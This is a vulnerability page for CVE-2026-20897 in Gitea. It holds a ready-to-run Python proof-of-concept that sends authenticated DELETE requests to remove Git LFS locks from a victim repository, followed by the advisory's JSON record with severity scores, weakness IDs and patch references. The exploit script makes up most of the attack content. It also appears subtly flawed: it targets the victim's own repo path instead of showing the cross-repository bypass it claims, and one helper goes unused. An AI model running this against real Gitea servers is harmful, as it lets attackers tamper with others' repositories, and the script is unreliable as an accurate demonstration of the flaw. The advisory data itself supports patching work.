CVE-2026-20897

# CVE-2026-20897 PoC - Gitea LFS Lock Deletion via Ownership Bypass # This PoC demonstrates how to delete LFS locks from other repositories import requests import json TARGET_GITEA_URL = "http://target-gitea-server.com" ATTACKER_TOKEN = "your_write_access_token" TARGET_REPO = "victim/repo-name" TARGET_LOCK_ID = 12345 # Lock ID from target repository def delete_lfs_lock(): """ Delete LFS lock from another repository without proper ownership validation """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly validate repo ownership url = f"{TARGET_GITEA_URL}/api/v1/repos/{TARGET_REPO}/lfs/locks/{TARGET_LOCK_ID}" # Request to delete the lock response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Successfully deleted LFS lock from another repository!") return True else: print(f"[-] Failed: {response.status_code} - {response.text}") return False def list_locks(repo_path): """List LFS locks to find target lock IDs""" headers = {"Authorization": f"token {ATTACKER_TOKEN}"} url = f"{TARGET_GITEA_URL}/api/v1/repos/{repo_path}/lfs/locks" response = requests.get(url, headers=headers) return response.json() if response.status_code == 200 else [] if __name__ == "__main__": print("CVE-2026-20897 - Gitea LFS Lock Deletion PoC") print("Target:", TARGET_GITEA_URL) print("Target repo:", TARGET_REPO) delete_lfs_lock()

{"cve": {"id": "CVE-2026-20897", "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2", "published": "2026-01-22T22:16:18.960", "lastModified": "2026-01-29T22:02:20.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea does not properly validate repository ownership when deleting Git LFS locks. A user with write access to one repository may be able to delete LFS locks belonging to other repositories."}, {"lang": "es", "value": "Gitea no valida correctamente la propiedad del repositorio al eliminar bloqueos de Git LFS. Un usuario con acceso de escritura a un repositorio podría eliminar bloqueos LFS pertenecientes a otros repositorios."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.25.4", "matchCriteriaId": "DFCB7D74-331D-4582-AB41-113A25BE8FAA"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.4/", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/36344", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/pull/36349", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.4", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rrq5-r9h5-pc7c", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Broken Link"]}]}}